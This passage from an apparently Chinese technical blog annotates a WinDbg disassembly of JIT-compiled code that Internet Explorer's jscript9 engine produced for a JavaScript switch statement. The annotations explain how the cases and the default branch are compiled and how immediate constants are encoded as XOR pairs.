031e00d1 0f85ad000000 jne 031e0184
031e00d7 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e00dd 0fb74906 movzx ecx,word ptr [ecx+6]
031e00e1 89048a mov dword ptr [edx+ecx*4],eax
031e00e4 e97cffffff jmp 031e0065
031e00e9 8bc6 mov eax,esi
031e00eb b928602701 mov ecx,1276028h
031e00f0 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e00f6 83ca04 or edx,4
031e00f9 3b11 cmp edx,dword ptr [ecx]
031e00fb 0f85a2000000 jne 031e01a3
031e0101 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e0107 0fb74906 movzx ecx,word ptr [ecx+6]
031e010b 89048a mov dword ptr [edx+ecx*4],eax
031e010e e952ffffff jmp 031e0065
031e0113 b9175d2593 mov ecx,93255D17h
031e0118 81f19e3b61b1 xor ecx,0B1613B9Eh
031e011e 8bc1 mov eax,ecx
031e0120 b928602701 mov ecx,1276028h
031e0125 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e012b 83ca04 or edx,4
031e012e 3b11 cmp edx,dword ptr [ecx]
031e0130 0f858c000000 jne 031e01c2
031e0136 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e013c 0fb74906 movzx ecx,word ptr [ecx+6]
031e0140 89048a mov dword ptr [edx+ecx*4],eax
031e0143 e91dffffff jmp 031e0065
031e0148 5b pop ebx
031e0149 5e pop esi
031e014a 5f pop edi
031e014b 8be5 mov esp,ebp
031e014d 5d pop ebp
031e014e c3 ret
031e014f c7055c83010104000000 mov dword ptr ds:[101835Ch],4
031e0159 6804830101 push 1018304h
031e015e e8fde2775a call jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
031e0163 e9e0ffffff jmp 031e0148
031e0168 8bc8 mov ecx,eax
031e016a d1f9 sar ecx,1
031e016c f20f2ac1 cvtsi2sd xmm0,ecx
031e0170 e90affffff jmp 031e007f
031e0175 689c820101 push 101829Ch
031e017a e8e1e2775a call jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
031e017f e9c4ffffff jmp 031e0148
031e0184 50 push eax
031e0185 6a02 push 2
031e0187 68b0790101 push 10179B0h
031e018c 50 push eax
031e018d 688c030000 push 38Ch
031e0192 53 push ebx
031e0193 6828602701 push 1276028h
031e0198 e8837f825a call jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e019d 58 pop eax
031e019e e9c2feffff jmp 031e0065
031e01a3 50 push eax
031e01a4 6a02 push 2
031e01a6 68b0790101 push 10179B0h
031e01ab 50 push eax
031e01ac 688c030000 push 38Ch
031e01b1 53 push ebx
031e01b2 6828602701 push 1276028h
031e01b7 e8647f825a call jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e01bc 58 pop eax
031e01bd e9a3feffff jmp 031e0065
031e01c2 50 push eax
031e01c3 6a02 push 2
031e01c5 68b0790101 push 10179B0h
031e01ca 50 push eax
031e01cb 688c030000 push 38Ch
031e01d0 53 push ebx
031e01d1 6828602701 push 1276028h
031e01d6 e8457f825a call jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e01db 58 pop eax
031e01dc e984feffff jmp 031e0065
这么长? 想一想,不充钱你能变得更强吗? 呸,不按块看能看懂吗
031e014f 之后的全是对象的cache,暂时不用看,typecho的markdown还是够屎的,所以只好不弄成嵌套的markdown了
031e0065 47 inc edi
031e0066 a801 test al,1
031e0068 0f85fa000000 jne 031e0168
031e006e 813858d6865d cmp dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
031e0074 0f85fb000000 jne 031e0175
031e007a f20f104008 movsd xmm0,mmword ptr [eax+8] <--0x11223344
031e007f f20f100d7c840101 movsd xmm1,mmword ptr ds:[101847Ch] <-- 0x11223344
031e0087 660f2ec1 ucomisd xmm0,xmm1
031e008b 0f8a06000000 jp 031e0097 <-- next case
031e0091 0f841d000000 je 031e00b4 <-- case 0x11223344
031e0097 f20f100d64840101 movsd xmm1,mmword ptr ds:[1018464h] <-- case 0x33445566
031e009f 660f2ec1 ucomisd xmm0,xmm1
031e00a3 0f8a6a000000 jp 031e0113 <--default
031e00a9 0f843a000000 je 031e00e9 <--case 0x33445566
031e00af e95f000000 jmp 031e0113 <--default
031e00b4 b96614a1c1 mov ecx,0C1A11466h <--case 0x11223344: k = 0x33445566;
031e00b9 81f1abbe29a7 xor ecx,0A729BEABh
031e00bf 8bc1 mov eax,ecx
031e00c1 b928602701 mov ecx,1276028h
031e00c6 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e00cc 83ca04 or edx,4
031e00cf 3b11 cmp edx,dword ptr [ecx]
031e00d1 0f85ad000000 jne 031e0184
031e00d7 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e00dd 0fb74906 movzx ecx,word ptr [ecx+6]
031e00e1 89048a mov dword ptr [edx+ecx*4],eax
031e00e4 e97cffffff jmp 031e0065
031e00e9 8bc6 mov eax,esi <--case 0x33445566: 被预测到这是一个无效的中间case,所以连赋值操作都被优化掉了
031e00eb b928602701 mov ecx,1276028h
031e00f0 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e00f6 83ca04 or edx,4
031e00f9 3b11 cmp edx,dword ptr [ecx]
031e00fb 0f85a2000000 jne 031e01a3
031e0101 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e0107 0fb74906 movzx ecx,word ptr [ecx+6]
031e010b 89048a mov dword ptr [edx+ecx*4],eax
031e010e e952ffffff jmp 031e0065
031e0113 b9175d2593 mov ecx,93255D17h <-- default: k=0x11223344;
031e0118 81f19e3b61b1 xor ecx,0B1613B9Eh
031e011e 8bc1 mov eax,ecx
031e0120 b928602701 mov ecx,1276028h
031e0125 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e012b 83ca04 or edx,4
031e012e 3b11 cmp edx,dword ptr [ecx]
031e0130 0f858c000000 jne 031e01c2
031e0136 8b15086e9b02 mov edx,dword ptr ds:[29B6E08h]
031e013c 0fb74906 movzx ecx,word ptr [ecx+6]
031e0140 89048a mov dword ptr [edx+ecx*4],eax
031e0143 e91dffffff jmp 031e0065 //<--while